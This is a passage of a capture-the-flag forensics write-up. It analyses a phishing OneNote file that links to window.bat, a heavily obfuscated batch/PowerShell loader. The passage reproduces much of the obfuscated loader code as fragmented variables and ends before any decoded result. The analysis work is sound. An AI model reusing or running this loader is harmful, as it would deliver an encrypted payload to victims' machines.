&lt;p>&lt;strong>Description:&lt;/strong> Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what&amp;rsquo;s going on and get the flag. The link is to &lt;a href="http://relicmaps.htb" target="_blank" rel="noopener">http://relicmaps.htb&lt;/a>:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Forensics&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>From the link attached to this challenge, we get an Onenote file named &lt;code>relicmaps.one&lt;/code>. Analyze the file, we get 2 suspicious links, which lead us to 2 different files, &lt;a href="https://drive.google.com/file/d/14FBabJvLlTAjhCKbJBPMk6iI9u83HI0j/view?usp=share_link" target="_blank" rel="noopener">http://relicmaps.htb/uploads/soft/topsecret-maps.one&lt;/a> and &lt;a href="https://drive.google.com/file/d/1t9jembhbhIFY6PE7Lx3J7yA5prTsVGXv/view?usp=share_link" target="_blank" rel="noopener">http://relicmaps.htb/get/DdAbds/window.bat&lt;/a>.&lt;/p>
&lt;p>I did some analysis on the file &lt;code>topsecret-maps.one&lt;/code>, and there are only some PNGs inside it. In the &lt;code>window.bat&lt;/code> file, we are given a Powershell Script. You can run it directly, but I choose to deobfuscate using Python to understand its flow.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">dict&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;ualBOGvshk=ws&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;PxzdwcSExs= /&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;ndjtYQuanY=po&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;cHFmSnCqnE=Wi&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;CJnGNBkyYp=co&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;jaXcJXQMrV=rS&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;nwIWiBzpbz=:&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;xprVJLooVF=Po&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;tzMKflzfvX=0&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;VCWZpprcdE=1.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;XzrrbwrpmM=&lt;/span>&lt;span class="se">\v&lt;/span>&lt;span class="s2">&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;BFTOQBPCju=st&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;WmUoySsDby=he&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;tHJYExMHlP=rs&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;JPfTcZlwxJ=do&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;VxroDYJQKR=y &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;UBndSzFkbH=py&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;KXASGLJNCX=ll&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;vlwWETKcZH=em&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;OOOxFGwzUd=e&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;NCtxqhhPqI=32&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;GOPdPuwuLd=\W&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;XUpMhOyyHB=ex&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;cIqyYRJWbQ=we&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;kTEDvsZUvn=nd&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;XBucLtReBQ=Sy&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;JBRccySrUq=ow&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;eNOycQnIZD=xe&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;chXxviaBCr=we&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;YcnfCLfyyS=in&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;lYCdEGtlPA=.e&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;pMrovuxjjq=he&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;UrPeBlCopW=ll&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;ujJtlzSIGW= C&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;zhNAugCrcK=&amp;#34;%~0.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;ZqjBENExAX=s&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">%VhIy%&amp;#34;dzPrbmmccE=cd&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">%VhIy%&amp;#34;xQseEVnPet= &amp;#34;%~dp0&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;wxzMwkmbmY=gDBN&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;VavtsuhNIN=F&amp;#39;[-&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;AHKCuBAkui=r = &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ARecVABHyu=uZOc&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;AbZpTpKurz=6] -&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;BaMYsIgnsM=$uZO&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;JBUgbyTPxp=m(, &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;vGOYQQYIpx=.-16&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;yPzFwnsYdA= New&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;zuIYfGJIhV=O.Me&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;gbXeIdPSoj=&amp;#39;[-1&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;BqEMjgsfHM=]::(&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;bivuMABwCB=Invo&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;SJsEzuInUY=ile &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;htJeDhbeDW=();$&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ZygfZJxAOd=acUA&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;eDhTebXJLa=&amp;#34;%~nx0.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;YlKbYsFYPy=in $&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jdKMRqipbM=e]::&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GVIREkvxRa=();$&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;OckpqzbYcn=n &amp;#39;&amp;#39;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;UPfjubfNXt=Mr, &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;AkaPyEXHFq=esMa&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;LODxmGMGqq=flec&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hImzprlFyw=pose&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;VZAbZqJHBk=1] -&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;WYJXnBQBDj= [Sy&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;rSVBNvbdPT=stem&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;tVtxVGNpFB=vert&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;tHHIjVCHeH=::De&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;WvjMoIIiUn=);$b&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;vmIEtsktnA=ypto&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;AbMyvUGzSH=fore&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;zDUDeXKPaV=..-1&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;INPLAzQfUo== [S&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ArAxZuPIrp== $B&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;nGqMpclaJV=ZOcm&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;lfYSggLrsL=null&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;eQPFkQsLmh=hy.A&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;AyyrPvjwjr=;$mN&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;rjhOhltPzI=Disp&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;WojQSFImBz=17js&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;SKEwAQBRlN=$Nlg&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KytxcYPZKt=YiLG&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;RGlZIMTaRM=urit&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;igJmqZApvQ=ss -&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;dGSGnKbkQW=pose&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;lSUnvlNyZI=tem.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;rddZbDFvhl=)))&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KHqiJghRbq=and &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;WPGlloqWfh=ddin&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;pLUeCEDcNj=]::C&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;drymkVAnZW=);$B&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KdByPVjCnF=ring&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;VnDoNvCbDL=orF&amp;#39;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GapFScCcpe=ke($&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;iVrCyJhMiJ=fc6t&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;oMsMdPYmPd=ert]&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;odWdfvJnBE=Lk =&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ekEoGMuERC=yste&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;QMmDXFyyag=Syst&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;cYinxarhDL=lit(&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;bIgeRgvTeJ=ap.T&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;acXjUrxrpX=raph&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;SCbDgQuqTU=ay()&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;YYKSCuCbgJ=New-&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;YnGvhgYxvb=cm =&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;vnHosfjdeN=;$Pt&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;LIQYgFxctD=d;$B&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;olHsTHINJO=[Env&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;WQqetkePWs=NVPb&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;AGOCIKFMEK=::(&amp;#39;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;QbKdEZdxpx=uGcO&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;RWcegafVtf=daeR&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ESpdErsKEO=pher&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;kJjQuXIjOT=.Con&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;dbDMRBPrxg=uGcO&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;mBIWiJNHWZ=esaB&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;WmHvayPxwd=.Mem&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;oQYrpYRHsU=stem&amp;#34;
